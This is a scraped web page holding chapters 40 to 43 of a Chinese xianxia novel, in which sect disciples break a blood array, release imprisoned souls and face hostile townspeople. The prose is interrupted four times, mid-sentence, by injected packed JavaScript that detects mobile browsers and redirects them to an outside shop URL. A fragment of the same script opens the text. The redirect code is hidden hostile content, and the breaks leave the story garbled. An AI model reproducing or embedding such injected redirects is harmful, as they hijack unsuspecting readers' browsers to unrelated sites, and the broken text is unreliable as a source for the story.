d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟正初伸手将她拉到身后,冷静开口:“妙意不过运气好,才幸免于难。这茶毒虽然被青花谷解开,但也是个烈性毒药,要是当时晚了一些,后果不堪设想。” 司青筠勾起唇角:“我本来就没想真要你们的性命,因为我早知道青花谷有这个毒的解药配方,只要到了那边,你们自然性命无忧。我所要的结果,只不过是拖一些时间,让你们没那么快找到旱阵阵眼罢了。” 公仪岭寒声道:“你可真是轻描淡写,万一出了什么意外,我们一行人可就性命难保!难道在你眼里,人命是可以用来赌的东西吗?!” “为了做戏做全套,我一样喝了茶,中了茶毒。”司青筠冷哼道,“总而言之,我赌赢了,不然的话,你现在也不能站在我面前揭发我了。” “够了,不要说了。” 司月吟从地上勉强爬起身,恳求道:“师兄,跟我回抱元门领罪吧……” 闻言,司青筠却轻轻摇头:“师妹,就算要领罪,也不是现在。” “那要到什么时候!”司月吟忍不住斥道,“大不了我去求长老网开一面,看在这么多年师徒情分上,长老们肯定不会赶尽杀绝……” 司青筠微微仰头,似乎在思考着什么,沉默了很久,才道:“说到底,这是我造成的灾难,布下的旱阵害死了很多无辜的人,对此我很愧疚。师妹,你放心,等我将爹娘他们被镇压的魂魄放出来,自会回去请罪。” 40. 质询解谜团 冀阳放亡魂(四) 司月吟长叹一声,没再说话。 “所以,你大费周章设了这一出,就是为了让放走那些被镇压住的魂魄?” 齐元白不解道:“可是既然先城主跟玄霄殿立了契约,藏元长老镇压魂魄也是为了防止契约生效,若是你将他们放了出来,他们就会被魔族收走,又怎么帮他们再入轮回呢?” 对此,司青筠却看起来很有把握的样子。 他道:“只要我在整个冀阳城上空布下结界,不让他们逃窜出去,再将他们超度了就可以。” 公仪岭插了一句话:“此事稍等,我还有最后一个问题。” 司青筠:“什么问题?” 公仪岭问道:“先城主为了夺取法力,哪怕是这样的契约,他也能接受。这法力,当真对他如此重要?” “是的,很重要。” 司青筠低声一叹,道:“仙门中人都知道,自己不能过多地插手凡间事,平日里最多也就下山除妖,若是涉及到人间战事,更是不被允许参与其中。” “可是,当时若是不请藏元下山,冀阳恐怕守不过三日就会沦陷。” “藏元虽然有心相助,却也只能瞒着仙家,为父亲在冀阳城内外布下一个阵法,暂且扭转一下局势。其他城池尚且自顾不暇,援兵迟迟不到,如果想要彻底击退敌军,也就只有动用仙力才行。” “青璃跟我说,藏元的阵法一出,魔族的人就发觉了异动。尹景轩知道了冀阳遇到的困境,找上门来,给他们指了一条路。” “父亲一开始没有同意,可是敌军兵临城下,留给他们的时间并不多。对方派了士兵送来信函,直言若是他们继续负隅顽抗的话,就在攻下城池后将城中百姓视作叛贼处理,一个不留。所以,他最后还是同意了尹景轩的提议,只不过,此举辜负了藏元的一片好心。” 公仪岭沉默了。 他尝试将自己带入到每个人的位置上,想要找到解决局面的其他的更优解,最后却发现,站在每个人的立场上,他们做出来的选择,似乎都有自己的理由。 想想也是,他们能走到那个位高权重的位置,又怎么会少得了那些雷霆手段呢? 犹豫过后,公仪岭还是缓缓放下了架在他脖子上的归云剑:“也罢。” “阿岭,你这是……?” 公仪岭侧过头,沉声答道:“大哥,我再信他最后一次。” 公仪岚张了张嘴似乎想开口劝说什么,可看见身旁司月吟满面泪水,最终还是什么也没说出口。 公仪岭定了定神,对司青筠道:“在整个冀阳城布下结界,你有多大的把握?” 司青筠从容不迫地看着他将剑收入剑鞘:“公仪岭,你真是令我意外……说实话,来了这里我根本没打算过能活着回去,若是用尽我一身灵力的话,约莫七成把握吧。” 这个数字从他嘴中说出来,跟公仪岭预计的完全不一样,他本以为司青筠至少会有九成把握,才敢赌上自己的一身灵力,万万没想到他竟是如此大胆,决然到即便只有七成把握也要尽力一试。 公仪岭皱眉道:“你修习多年,又是长老首徒,要说法力,比司姑娘肯定是强上许多,怎么会只有七成把握?” 司青筠似笑非笑:“就像你们之前分析的那样,想要维持着旱阵,又在全城给碧灵蓝雪花设下障眼法,可不是个容易的事情。何况,师妹布下雨阵的那一回,使了全力来跟我抗衡,导致灵力大损,我又何尝全身而退?” 对此,他感慨万千:“我一边得准备仙考,原本就分身乏术,还要多费精力去做这些事情,也真的很累啊……好在,这一切终于要结束了。” 公仪岭抿唇,迟疑道:“……若是,有人帮你一起设这个结界,你的把握总能大一些吧?” 司青云完全没想到公仪岭会这么说,颇为意外。 “我还以为,像你们这样嫉恶如仇的人,在知道真相之后,不会有这样的想法。” 公仪岭摇头:“诚然,我们都是嫉恶如仇的人,但再怎么说,我们相识了不少时日,即便你做了错事,也不会是我们来决定你的下场。要让我眼睁睁看着你灵力枯竭至死,我想我做不到这样。” 公仪岚也点了点头,走到公仪岭身旁,右手搭上了他的肩头:“阿岭说的没错。朋友一场,我总不能袖手旁观,看着你赴死。此举不过是留下你一命,等回到抱元门,你们再自行清算罪过吧。” 燕煦泽跟在后面也表态道:“我没意见。” 除却站在人群后的孟妙意冷哼了一声表示拒绝,其余人对此都没有异议。 对于孟妙意的想法,公仪岭倒也能理解。她既然能不惧烈日在城中行医,再苦再累也不曾抱怨一句,就证明孟妙意也是个善良的人。这回拒绝,多半是因为刚才司青筠出言刺了她两句的缘故。 公仪岭猜的不错。孟妙意确实是这么想的,她看着已经有这么多人帮忙了,也差不了自己一个,这才果断拒绝。 司青筠扫了一圈周围的人,默然道:“多谢。” 纪银灵道:“现在事情弄明白了,那就不要耽误时间,血阵阵眼已经找到了吧?那现在就先将这几百人的魂魄放走吧。” 公仪岭问道:“那这血阵被破了以后,藏元长老身上的法力……” 司青筠回答道:“这阵法早已成功,就算现在血阵被破,他得来的法力也不会消失。破阵唯一的作用就是,把魂魄带到他们该去的地方,也算是了却了他们一桩心愿。” 燕煦泽忽然笑了一声,道:“司兄,你这么大发善心,是因为那个青黛的缘故吧?” 司青筠不置可否:“到底是一位故人,见她这样难捱,我本就应该如此。” 公仪岭低头看了看地上画的图案,往后退了几步,说道:“那你如何破阵?……元白,你把他身上的符箓也都撤下吧。” 齐元白抬手收起,对他道:“你现在可以动了。” 司青筠被定住太长时间,这会儿四肢都还僵着,在原地缓了好一会儿才勉强动了动身子,抬手施法将摔在地上的法器收了回来,落在掌心。 公仪岭怕他出尔反尔,拿到法器就出手伤人,于是全程盯着他使用法器,要是他轻举妄动,便不会再留情面。 好在,司青筠并没有卸磨杀驴的想法,一心一意操纵法器将百人冢内的阵眼摧毁。 这还是公仪岭第一次看见司青筠破阵,不由感慨了一句:“到底是长老首徒,听说在十年前那一批仙家子弟中,属你最为勤奋刻苦,也最为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429908|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉害。再众仙门弟子中也算风头无两,好好的阳光大道不走,又何必走这个独木桥呢?” 司青筠淡笑道:“我若不事事争先,又如何能布下今日之局?至于我为何如此……那也是我自己的选择。” 他早已将破阵前的工作准备完善,在催动周身灵力破阵后,血阵的阵眼就爆裂开来。大家这才关注到这个不起眼的阵眼,竟然是一块赤玄骨玉。 赤玄骨玉并不多见。书中记载这种骨玉是用赤炎真火凤身上的骨头制成的,而赤炎真火凤已经许久没有在世间出现,老一辈人都尚且不知现在哪里还能找到,像公仪岭这样的年轻后辈们更是无缘得见,只能在书上的绘图中一睹其容。 公仪岭俯下身捡起地上的红色碎渣,遗憾道:“啧,就这么碎了,当真是可惜。” 燕蓉仔细端详着这些碎片,也道:“这赤玄骨玉通体透亮,还真是难得一见的宝物。” 燕煦泽同他们解释道:“这东西本就是靠活人鲜血滋养,才会变成这样的色泽。若是从那火凤上刚取下的骨头,会显得更黑一些。” 阵法已破,司青筠掌中光华渐渐消散。 公仪岭特意观察了一下他的状态,却发现司青筠面色如常,不见有什么异样。活人血祭阵法再怎么说也是个厉害的禁术,司青筠处理完后还能面不改色,让公仪岭有些惊讶。 司月吟下意识出言关心:“师兄,你感觉……还好吗?” 司青筠知道他们在想什么,笑道:“我没事。藏元在法力尽失的情况下布下此阵,破起来不算困难,何况,后面还有结界还等着我去设,怎么能现在就撑不住呢。” 将洞中的物件都处理干净后,一行人回到了一开始看见尸山的地方。司青筠不知道使了什么法子,让他们看见了青黛的魂魄。公仪岭过去的时候,正看见青黛背对着他们,默然注视着满地的尸体。 青黛似乎听到了背后有动静,转过了身,就看见他们站在自己身后。 再次相见,相顾无言。 良久,公仪岭轻声道:“青黛姑娘,你自由了。” 青黛没有答话,看起来有些茫然无措,直到司青筠主动上前,与她附耳说了两句,青黛的眼睛缓缓睁大,脸上表情看起来很是激动,嘴巴一张一合不知说了什么。 公仪岭这才知道她还是说不了话,就问司青筠:“你跟她说了什么?” 司青筠答道:“青黛一直自责自己辜负了母亲的嘱托,竟然留我一人在屋子里无人照看,我坦白了我的身份,告诉了她青璃平安的消息。想来这样,她应该就能安心地去了。” 而在他说完以后,青黛的神色也看起来如释重负,整个人的身形也变淡了不少。 燕蓉问道:“为什么我们只能看见青黛的魂魄,而不见旁人的?” 司青筠道:“几十年过去,旁的人心中没有那么深的执念,一旦解脱了束缚,自然也就无声无息地离开了。青黛也许就是因为执念过深,魂魄才不愿那么快离去吧。” 在这种时候,也没有人忍心去告诉她司青筠即将要面临的事情,只是在一旁默默看着她。青黛目光移向公仪岭他们,眼神温和,嘴唇微动。 公仪岭望着她。 她说的是:“谢谢。” 41. 质询解谜团 冀阳放亡魂(五) 直到青黛的魂魄完全消散,司青筠才开口:“血阵已破,藏元那边应该已经察觉,我们要更快一些了。” 齐元白惊道:“那……要是藏元长老现在就用传送阵传过来,我们怎么来得及设下结界?” 司青筠道:“从抱元门到冀阳城,早就被他们禁用传送阵了,他若是解开禁制传送过来的话,难保不会让门中其他弟子察觉,若是他还想坐这长老之位,便不会这样做。” “何况,传送的距离越远,所耗的灵力也越多。所以,你们中了茶毒那日,倒还真不是我故意将传送阵画错,导致你们从高空坠落。” “青花谷与冀阳城本就路途遥远,我又自己喝下了毒药,能将你们送到那边,已经实属不易。反正我自己也有解药死不了,要是真的存了要你们命的心思,将你们送到其他地方去,岂不是更加方便。孟姑娘,你说对吧?” 孟妙意听完他这话,其实心里也觉得颇为有理,却又碍于颜面,轻哼了一声,不作回答。 见气氛尴尬,公仪岭只好打了个圆场:“既然时间紧迫,我看我们现在就回冀阳城布置吧。现在已经是后半夜了,算算路程,藏元长老最快赶到这边,也得是后日了。” 公仪岭不说,一群人甚至还没意识到——再过两个时辰天该蒙蒙亮了。 司青筠也不再废话,带着他们从洞中出来,在外面一块平坦的地面上画下了两个阵法,指着其中一个向另外一队人说道:“这个传送阵会把你们带回距离冀阳城一里地的地方,到了以后我会用灵讯石联络你们,告诉你们该如何做。” 承悦那一队几人立刻站进了阵中,司青筠顺势往他们手中塞了一把阵旗。 承悦不解:“既然是设结界,何须用得着这阵旗?” 司青筠低声道:“冀阳城异动的消息说不准也会传到玄霄殿地方,为了防止出什么问题,我需要起一个阵来给我们护法,就算到时候失败了,这阵法也能保你们性命无虞。” “再者,想要将藏元镇压的魂魄放出来,也需要用一个媒介将他们招出来。” 承悦应道:“我明白了。” 司青筠见他们都准备好了,从怀中取出一块阵石丢到了阵眼的位置,白光闪过,承悦队伍里的人消失了。 虽然司青筠已经坦白一切,但公仪岭也并未完全相信他,如果他想了这样的办法支走他们一半人的话,他想脱身就方便多了。 防止他动什么手脚,公仪岭执剑依旧挟持着司青筠,见他并没有想逃脱的样子,才用灵讯石喊了两声承悦的名字。等到承悦回答了他现在的位置,才放下心来,跟着公仪岚站到了另一个阵中。 燕蓉问道:“这个阵会把我们送到哪里?” 司青筠目光沉沉:“冀阳城内。” 如他所言,等公仪岭一回神,再看见周围景象,便是冀阳城内的模样,只是他们落点不在城主府中,而是在冀阳城中央某条街道上。 这一场大雨下了很久,夜间一声惊雷把百姓从梦中惊醒,匆匆跑出门一看,发现天降甘霖,不少人竟是直接喜极而泣,颤抖着在屋门口向天而跪,几下叩首后才慌忙从屋里取了锅碗瓢盆出来接水。 于是等公仪岭到了城中,看见的便是城中挨家挨户的人们全都在街道两边捧着木盆木桶接雨水的场景,还有许多人们直接以手作器皿,接了一捧水就张口喝了起来。 公仪岭欣慰这几日的忙碌奔波终于没有白费,对身后几人说道:“旱灾的问题解决了,城里的庄稼也就可以重新种起来了。依靠着其他地方救济粮,假以时日冀阳也就可以恢复到以前的样子了。” 公仪岚神情也稍放松了些,低头望向自己手中的阵旗,问司青筠:“需要我们怎么做呢?” 司青筠从到了城内后一直拿着灵讯石,告诉承悦他们该如何安置阵旗。好在他们那边的纪银灵是见过司月吟使用阵旗的,略微指点过后,其他人也都明白了方法。 司青筠同那边的几位说完了方位以后,才道:“等他们那边安置好以后,我会在城中布下阵眼,再以阵法的范围全力设下结界,你们所有人届时只需要用灵力在帮助我加固结界就好。” 他嘴角虽然挂着微笑,却带了一丝难以言明的苦涩。 到底也相处了一段时间,见他这样强撑,公仪岭还是生了一些恻隐之心,缓缓放下了手中的剑:“你设置结界当真没问题吗?” “这个自然。”司青筠点头,“我只是担心我的灵力不足以支撑这个结界直到下面被镇压的魂魄完全被放出,有你们帮忙加固的话,我就不会因灵力枯竭而亡。” 听到这个答案,众人也都明显松了一口气。 等待了一炷香的时辰,司青筠的灵讯石终于传来了声音。 是燕煦泽的声音,他在灵讯石的那头说道:“……都已经布置好了。” 司青筠轻声道:“多谢。” 那边顿了顿,才道:“既然同为仙僚,自是不必言谢。” 司青筠没再说话,收起灵讯石就朝着定好的位置走了过去。 他拿出一只鬼铃,念了法诀后,在手中摇了摇。公仪岭认出了这只鬼铃是鬼界用来招魂的物件,心中了然,这个东西多半就是司青筠选做的阵眼了。 公仪岚皱眉道:“你这东西从何而来?” 布这样的阵法所需要的阵眼,非得是极好的宝物才行,若是鬼界中那种随处可见、满大街有卖的鬼铃,是根本没办法压住阵的。 可但凡稍微好一些的鬼铃,若不是动用了在鬼界的什么关系,司青筠一个仙家的人,怎么会有这样的东西? 司青筠不答,手上动作没停。 阵眼布置完后,雨越下越猛,天空中隐隐有黑云翻滚,朝着冀阳城逼来。 原本在街道两边接着雨水的人们发觉天象骤变黑云压城,见势不妙,立马就将装满水的器皿拖回了屋内,把大门关得严严实实。 公仪岭看着空空如也的道路,默默道:“也好。” 连他们都还不知道接下来会发生什么事情,百姓们在屋子里躲着才是最安全的。 那边司青筠已经心无旁骛开始驱动周身灵力。公仪岭也是第一次看见他使尽全力,不由观察起来。 相比起司月吟如潺潺溪流般温和的灵力,司青筠的灵力就显得更加深厚有力许多。就见那法器上绽出盛大的光芒,一道白色光柱从法器中冲上云霄,自中央朝四面八方缓慢展开了一个巨大的透明结界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429909|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与此同时,司青筠的面色也看起来更虚弱了一些。 他喘了口气,朝着公仪岭喊了一声:“兄台,别看着了,帮个忙。” 公仪岭收回视线,祭出归云剑,也开始施法加固结界。其他人见他有了动作,也纷纷助一臂之力。 有了他们的帮助,原本一击就碎的结界顿时就牢固了不少,等到全部完成,司青筠才收敛了法力,开始催动鬼铃阵法,欲把城下的亡魂召唤出来。 也许是为了避免多生事端,司青筠动作极快,没过多久,鬼铃周围就已经汇聚起许多白色轻烟。 公仪岭只看了一眼,就知道那些魂魄已经出来了。 燕蓉按照司青筠说的,在鬼铃旁边反反复复念着往生咒,司青筠则是一直凝视着这些魂魄,没有讲话。 被镇压在冀阳城下的魂魄都是被法器所伤,又过了这么多年,早就已经变得破损不堪。莫说是留个人形,甚至连与司青筠进行基本的对话都做不到。 公仪岭也看出来这些魂魄不算健全,猜测道:“或许是藏元长老为了防止玄霄殿收了完整的魂魄,拿来做什么不好的用途,才……” 公仪岭说的这些,他又何尝不知?与其让自己的父母亲人们变成那样人不人鬼不鬼的怪物,倒还不如直接让他们在这镇压之下慢慢消散于世间。 有那么一瞬间,司青筠感到迷惘,有些分不清自己将这样残缺的他们放走重入轮回,究竟是不是正确的。 公仪岭挠了挠头,纠结了半天,最后还是出言安慰了他两句:“事已至此,这阵法也成了,还是按照你原先的想法做吧,虽然魂魄有些残缺,但至少他们自由了,你做的一切也不算白费。” 司青筠沉默半晌,才呼出一口气:“罢了。” 他也不再犹豫,手上蓄起灵力,尽力将这些魂魄修补了一些,才轻声说道:“去吧。” 魂魄们像是听懂了他说的话一般,竟真的朝远方飘离,在空中四散开了。 直到它们完全离开,燕蓉才停止了念咒。 这时公仪岭手中的灵讯石也传来了承悦的声音:“你们那边怎么样了,解决了吗?” 公仪岭这才想起来,刚才安慰人的时候,他们几个人都把法器撤了下来,这样一来外面那堆人的维持结界压力就大了些,颇为不好意思地道:“承悦啊,司青筠刚解决,你们那边可以撤了。” 承悦在那边如释重负道:“可算是完了,我算是知道为什么司青筠觉得只有七成把握了。” 这时,又有一个不太熟悉的女声从灵讯石里响起:“我们现在是先回城中,还是直接启程回抱元门呢?” 公仪岭听到这个声音还愣了一下,过了好一会儿才反应过来是这温柔的声线是燕婉的,燕婉性子喜静,很少说话,也正是因此,公仪岭这才会对她的声音印象不深,刚开始没认出来。 公仪岚在旁边答道:“现在天快亮了,我们既然一开始跟城主交接了事宜,现在问题解决了,也该回去告知一声才好离开。” 公仪岭问道:“要是藏元长老找过来了,怎么说?” 司青筠将鬼铃收回,勉强直起身子,淡声道:“你们不必担忧,事情是我做的,我自然会找他讲个明白。” 42. 镇魂三十载 何论是与非(一) “好吧……我只是在想着如果他们要你以命来偿的话,我们要不要给你求个情什么的。”公仪岭犹豫道。 孟妙意瞥了一眼公仪岭,断然拒绝:“说到底,司青筠是为了一己私欲,才害死了那么多无辜百姓,这样的行为,我可不认同!依我看,该怎么处置就怎么处置,公仪岭你就不要掺合了。” 孟妙意的想法也正是他对此有所犹豫的原因。司青筠纵然事出有因,但不管是何苦衷,却是真真切切地害苦了冀阳百姓。 公仪岭默默考量了一会儿,在心中下了决定,对司青筠道:“孟妙意说的有道理,一码归一码,如果长老真要了你的性命,到时候我会给你准备个玄冰棺,让你走得体面些。” 司青筠微微意外,但还是勾起笑容,没有责怪他出言不逊,也没有拒绝他的好意:“那我的身后事,还劳你们费心了。” 司月吟看他这满不在乎的样子,显然是觉得自己这一趟有去无回,已经开始交代遗言了,心中苦涩不已。 灵讯石那边也听到了他们的对话,一阵沉默过后,燕婉才出声道:“那我们现在便启程回城,一个时辰后城主府内汇合。” 城主府离他们距离不远,公仪岭与他们拐过几条小巷,抄了条近路,没多久就抵达了城主府门口。 城主府的那扇朱门正开了一条小缝,探了个人头出来,瞧见天空中又恢复了正常,才将门缝开得大了些。 等到公仪岭走近了些,门里那人才注意到了他们一行人,连忙迎了出来:“几位贵客回来了。” 公仪岭认出他是城主府里的管事,顺口就问道:“这天还没亮呢,怎么起的这样早?” 管事心里高兴,见他们还淋着雨,赶紧将几人请了进来,道:“多亏了几位贵客相助,才让冀阳城下了这场大雨,大家被雷声惊醒,打开窗子就看见落了雨,高兴地哪还能够睡得着觉?” 公仪岚含笑道:“这本就是我们应该做的,何足挂齿。” 城主也早已在正堂里等待他们多时,几人简单与城主说了些过程后,又喝完了一盏茶,才等到了另外那队人回来。 公仪岭刻意将藏元与先城主的纠葛、以及司青筠做的事情隐去了未提,只说按照城主的想法成功布下了雨阵,以后冀阳应该可以恢复正常生活了云云。 说到底,这也是仙家的一桩丑闻,抱元门自然不希望被人知晓。其他人见他这样说,心里也自然有数,附和了他的话将这个事情揭了过去。 城主道:“既然现在事情解决,诸位也都累了一天了,不如先回房中休息,等休息完再启程回去。” 众人没有立刻回答城主的话,而是齐齐看向司青筠,看他如何说。 司青筠却是轻描淡写地点了点头:“好啊,那便多谢城主了。” 司月吟有些不安,压低声音在他旁边说道:“师兄,长老这会儿多半就过来了……” 司青筠笑道:“这不是还没来吗?且再偷得浮生半日闲吧。” 听他这么说,公仪岭仔细一想:“也是,他现在该做的都做完了,反正回去也是被抓,在这里也是等着被抓,事已至此,还不如先休息呢。” 其他人见司青筠悠然自得地把玩着茶杯,显然是一副不着急回去的的模样,于是也起身谢过了城主:“多谢城主,等休息完,我等便就此告辞。” 连着奔波了几日,不休息还好,一放松下来,公仪岭几乎是刚闭上眼就立马昏睡了过去。 这一觉他睡得极为舒坦,没有人来叫醒他。只是等他再次睁开眼,竟然还是看见了窗外的日光,顿时疑惑上了:“我还以为睡了很久,竟然还没有日落吗?” 公仪岚比他醒的早些,这会儿正坐在椅子上拭剑,听见他说话,抬起头道:“阿岭,你睡糊涂了,这已经是第二日早上辰时了。” 公仪岭闻言大惊,一骨碌就从床上爬了起来,闹出了好大动静,将旁边的承悦也吵醒了起来。 承悦揉着眼睛抱怨了一句:“二师兄,你动静小点啊……” 公仪岭这会儿哪还顾得上承悦,匆匆跑到屋门口,看见阳光明媚,院中的石板上雨渍还没有干透,道:“昨天下了一天的雨吗?” 公仪岚笑道:“正是,在你们睡醒前半个时辰,这雨才停下。” 听到他们对话,承悦脑子这才从蒙圈状态下清醒,诧异道:“我们何时变得这么能睡了?” 公仪岚道:“我问了孟姑娘,她说,刚解完毒没多久,睡久点很正常,正好也借此机会恢复一下。” “那……司青筠?” 公仪岭心想他们睡了这么久,也没个人看着司青筠,他要是跑了,该如何给抱元门交代。 公仪岚看出他心里所想:“你放心,司青筠就在隔壁。” 公仪岭出去往每个房间看了一眼,发现大家都差不多起来了,司青筠也还是呆在他们那间房里面,就推门进去,十分自然地问道:“怎么说,打算什么时候走?” 司青筠正在收拾东西,回了一句:“收拾完就启程。” 公仪岭想起刚才大家好像都在收拾东西,估计是司青筠已经提前知会了他们,就道:“那一刻钟后我们出发。” 这一趟过来,除了粮食和水,他也没带其余累赘的东西,回到厢房内将放在桌上的归云剑拿起,才突然发现归云被擦拭地干干净净,顿时高兴道:“大哥,你刚刚帮归云也擦拭剑身了?” 公仪岚把随身的行囊背到了肩上,微微点头:“从小到大哪一次你的佩剑不是我擦的?不过顺手的事罢了。” 承悦这才瞥了一眼自己的佩剑,抗议道:“岚兄,你怎么没顺手也帮我一下……” 公仪岚拍拍他的肩,无奈道:“今日时间不太够,等回云灵山再说吧。” 他们是要按照来时的路线原路返回抱元门,所以自出了城主府后,便打算一路朝着城门方向走。 谁知公仪岭前脚刚出城主府,立刻就感受到了道路两边百姓不善的目光。 齐元白也察觉到了不对劲,缩了缩脖子,有些莫名的心虚:“阿岭,我怎么感觉不对呢?是我的错觉吗?” 公仪也有些不确定,道:“看着不像。” 好在这些人也只是目光复杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429910|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看着他们,倒也没有其他问题。公仪岭心中惴惴不安,脚下步伐不由得加快了些。 一路走,公仪岭只觉得道路两边的百姓聚集地越来越多,他隐隐约约还能听到他们在互相窃窃私语。 “是他们吧?” “就是啊!穿着这衣服的,还能有谁?” 其中一个乞丐道:“是他们,是他们,那日就在城门口放粮的,都忘了?” 旁边另一个中年男子啐道:“前几天我还真以为他们是好人!谁知道居然做出来这种事情?呸呸呸!” 他们似乎根本不顾及自己说的这话会不会被公仪岭他们听到,讨论到后面越来越激动,声音也越来越大,话语中不免还夹杂了几声咒骂。 齐元白听不下去了,怒道:“喂!怎么说我们也是解了冀阳的旱灾,才换来了昨日一整天的大雨,你们不说声谢谢就算了,做什么还要骂我们?” 旁边就有人不乐意了,撩起袖子就喊道:“骂你们老实受着就是了,一个个当我们傻呢?我就问你们,这旱灾到底是怎么来的!” 公仪岭心中一个激灵。 难道他们这么快就已经知道了其实旱灾的根源是因他们而起?可是不应该啊,昨天他跟城主说的时候,根本没提到司青筠布阵的事情! 齐元白一下子就哑声了,脑子里百转千回也是没想明白。冲他们喊的那个人看见齐元白脸上青一阵白一阵,就冷笑道:“看吧,那人根本没有说错,这旱灾本就是因为他们布的旱阵来的,害死了我们这么多人!” 那男子刚说完,旁边几个妇人怒气冲冲已经朝他们丢了烂树枝过去。公仪岭稍一转弯,才明白妇人们其实是想给他们丢烂菜叶子,无奈现在饥荒还没解决,根本没有菜叶子能丢,只能用枯树枝顶替一下。 公仪岭抬手截下了树枝丢在地上,面前那几个妇人就哭道:“要不是你们搞出来的灾祸,我家娃儿也不会饿死了!” 司青筠抿着唇,低声道:“对不起。” 他这一声对不起,也就坐实了这些事情,只不过大家根本不会管到底是他一个人做的,还是他们所有人做的,要宣泄,自然也是一视同仁,顿时就有更多东西朝他们丢了过去,有树枝,有石头,也有脏乱的垃圾。 有人就怒骂道:“大爷的,我认得他身上这衣服,是抱元门的衣服,要不是他们干的,哪能布出这么大的旱阵?” “说的对!” “你们看后面是不是还有个穿着跟他差不多的黄衣服的?我看是一伙的吧!”也有眼尖的人扬手指向司月吟,叫道。 司月吟低垂着头,既羞愧又尴尬,心里油然生起一种被游街示众的感觉,何况这些人并没有说错什么,这件事情说到底,不就是抱元门的过错吗? 她默默忍受着宣泄到她身上的那些东西,恍恍惚惚地跟在大家身后。 “司姑娘——!” 耳边好像响起了一声大喊,司月吟迟钝地在脑子里辨别着是谁在喊她的名字,直到感觉到右肩一痛,下意识瞥了一眼,才发现竟然是一把小刀扎进了她的肩头,伤口正汩汩地冒着血。 43. 镇魂三十载 何论是与非(二) 那喊声自然是公仪岭喊的,因为他正全神贯注用佩剑挡掉着砸过来的东西,余光一瞥看见一把小刀从他侧方朝后面飞了过去,意识到那个位置站着的是司月吟才叫她小心。 只可惜司月吟跟丢了魂似的,压根没注意到公仪岭提醒她。 公仪岚也被突如其来的状况惊了一下,瞬间意识到发生了什么,面上薄怒,当即上前一步护住司月吟,对那丢刀子的人怒道:“光天化日之下,你怎敢动手伤人!” 那人见他身上佩剑,神色冷厉,光看气场就知不是自己能惹得起的,心中有些发憷,声音也软了几分,缩起脖子小声嘀咕道:“不就是学了些仙术,现在就开始仗势欺人起来了……” 公仪岚还欲上前再说什么,谁料衣角却被身后之人拉住。 司月吟垂着眼眸,低声道:“公仪公子,算了吧。” “可是……” 公仪岚心有不甘,可在转头看见司月吟眼角的晶莹后,还是止住了想要上前的脚步。 良久,他轻叹一声,抬起指腹擦去了她眼角的泪水,道:“……司姑娘,我先替你包扎伤口吧。” 眼看着大哥拉着司月吟要找地方为她疗伤,公仪岭也顾不得旁边那些东西砸不砸得到自己,连忙跟了过去。 只是他没走两步,面前就被一个熟悉的身影挡住。 那人背对着公仪岭,公仪岭看不见他脸上的表情,只见到他手中拿着法器,开口声音沉稳冷静,还带了些年长者的沧桑:“月吟,随我回去处理伤势吧。” 闻声,司月吟猛然回头,认出了站在面前的人,一时间心中五味杂陈。 “师父……” 竟然是藏元长老! 公仪岭与藏元长老交集不多,每年仙考大会也不过是低着头站在三化殿上聆听教诲的时候才能远远见上一面。这次难得离得如此近,他才会一下子没有辨认出来。 藏元长老没有应司月吟的话,而是扫了一眼止步不前的司青筠,肃然道:“青筠,你既然还是选择做了此事,那就跟我回去领罚吧。” 司青筠面上一滞,刚想开口,藏元却没给他机会。他一手压在司青筠的肩头,直接制住了司青筠的行动,随后另一只手中的法器嗡嗡震动,大家只觉得一阵目眩,就已经回到了抱元门大殿门口的那片汉白玉广场上了。 除去司青筠和司月吟两人还算是平稳落地,其余人心里还没个准备就已经被挪了过来,都算是被摔到地上就不管不顾了。 公仪岭只觉得腚一疼,在这汉白玉广场上摔了个屁股墩,等脑袋里的晕眩感完全消失了,才喃喃抗议道:“长老,下手轻点啊……” 燕渊略微迟疑道:“冀阳城和抱元门之间不是已经禁用传送阵了吗?怎么……” 藏元长老听到这话,轻嗤一声:“这种术法也就是拦一拦你们,也不想想是谁提出禁用的?难道,你们还真以为我过不来?” 燕渊哑口无言。 公仪岭掸了掸身上的灰尘,起身问道:“藏元长老,那您是知道冀阳城旱阵的事情了?” 藏元长老道:“我们当然知道,加试的历练本就是让你们前去破解阵法,总不会是真的让你们去放赈灾粮食的。” 司月吟眸光闪烁,试探道:“那师父,血阵的事情……” 